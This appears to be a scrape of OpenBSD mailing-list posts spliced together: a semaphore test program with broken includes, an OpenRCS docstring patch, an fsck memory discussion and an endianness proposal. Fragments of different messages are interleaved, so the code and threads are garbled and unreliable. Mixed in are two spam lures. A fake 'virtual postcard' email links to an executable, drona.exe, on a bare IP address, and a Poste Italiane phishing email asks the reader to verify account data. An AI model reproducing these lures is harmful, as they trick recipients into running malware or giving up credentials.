Same code as my last post, but wrapped to 71 columns.

I went looking for the semop source, but couldn't find it.

/*
* testsem.c - Test semaphore otime behavior.
*/

#include
#include
#include
#include

#include
#include
#include
#include
#include

#define LOCK_SEM_FLAG ( SEM_R | SEM_A | SEM_R>>3 | SEM_R>>6)
#define MAX_TRIES 2

Hi,

I am porting some code to OpenBSD 4.2 and it's not working. I've
boiled it to a small(ish) utility (see below) that demonstrates the
behavior. The code is pretty much straight from Stevens UNP vol #2;
the intent is to work around the race with creating System V
semaphores.

Looks like semop doesn't update sem_otime.

Here's what I see:

(This is the same fix I sent for OpenCVS yesterday.
OpenRCS has the same bug).

Make rcsnum_cp's docstring match its implementation.

In the implementation, if one revision is longer than the other,
the longer revision is considered newer if no explicit depth is specified.
So if depth is zero, the *maximum* length of the two revisions is used,
not the minumum length as the docstring claimed.

Also, heed a non-zero depth parameter, which was effectively ignored.

No callers are directly affected by this change, since they all passed
zero depth so far. Checking all callers for correct usage of rcsnum_cmp
is advisable though, since the docstring did not match the implementation.
Some callers may actually want different semantics than they are getting.

Patch by myself and Neels Janosch Hofmeyr.

Index: usr.bin/rcs/rcsnum.c
===================================================================
RCS file: /usr/OpenBSD-CVS/src/usr.bin/rcs/rcsnum.c,v
retrieving revision 1.10
diff -u -u -p -r1.10 rcsnum...

Someone (I apologize for not quoting exactly) said
that 32-bit architectures would be limited to smaller
filesystems (< 4TB). A 64-bit architecture allows better
usage of the available memory but is not a cure.
Any system will be unable to check filesystem(s) whose
metadata cannot be represented by fsck in
(memory + swap - overhead) bytes.

In the case of a machine with several multi-TB
filesystems being checked simultaneously, the fsck
processes could compete for memory + swap and fail.
This can be fixed in /etc/fstab as an administrative
problem, true. It would be easy to configure (for instance)
a file server with 2G total memory + swap and 4 x 2TB filesystems.
This example would thrash for many hours doing fsck.

I'm trying to suggest that a fairly radical solution
to fsck's memory usage will be desired by some people
quite soon.

geoff steckel

You have just received a virtual postcard from a friend !

.

You can pick up your postcard at the following web address:

.

http://83.137.26.89/drona.exe

.

If you can't click on the web address above, you can also
visit 1001 Postcards at http://www.postcards.org/postcards/
and enter your pickup code, which is: d21-sea-sunset

.

(Your postcard will be available for 60 days.)

.

Oh -- and if you'd like to reply with a postcard,
you can do so by visiting this web address:
http://www2.postcards.org/
(Or you can simply click the "reply to this postcard"
button beneath your postcard!)

.

Hello,

I'd like to establish standard endianness conversion functions across
the BSDs and Linux: betoh64(), htobe64(), etc.
(like OpenBSD's sys/endian.h)

Just small convenience functions/macros, but useful because it's such a
common requirement; applications currently have to roll their own
over&over with an annoying tangle of #ifdefs.

----

The details are here in my request to the GNU glibc maintainers:

* glibc Bugzilla 6442 - Adding cross-Unix endianness functions:
betoh() / htobe() 64,32,16
http://sources.redhat.com/bugzilla/show_bug.cgi?id=6442

* Pro/con:
http://sourceware.org/ml/libc-alpha/2008-05/msg00022.html

----

I planned to have a little coordination between glibc/FreeBSD/OpenBSD
beforehand; that didn't happen, the glibc maintainers created the basic
macros in /usr/include/endian.h without further discussion.

[IMAGE]

Ultime da Poste Italiane:

Gentile Cliente,
Ci e' arrivata una segnalazione di accredito di Euro 456,31 ricevuta dal
UFFICIO POSTALE di MILANO. L'accredito e' stato temporaneamente bloccato
a causa dell'incongruenza dei suoi dati, potra' ora verificare i suoi
dati e successivamente le sara' accreditato l'importo ricevuto:
Accedi a Poste.it B; Acceda al servizio accrediti online di Poste.it e
verifichi le sue operazioni B;

Sai che da oggi offriamo il doppio dei servizi? Vi offriamo solo servizi
sicuri e di alta qualita'.

Cordiali saluti,

Poste Italiane

SocietC del gruppo: [IMAGE] [IMAGE] [IMAGE] [IMAGE] [IMAGE]

Ti preghiamo di non inviare alcuna risposta a questo messaggio e-mail,
poichC) non verrC presa in considerazione.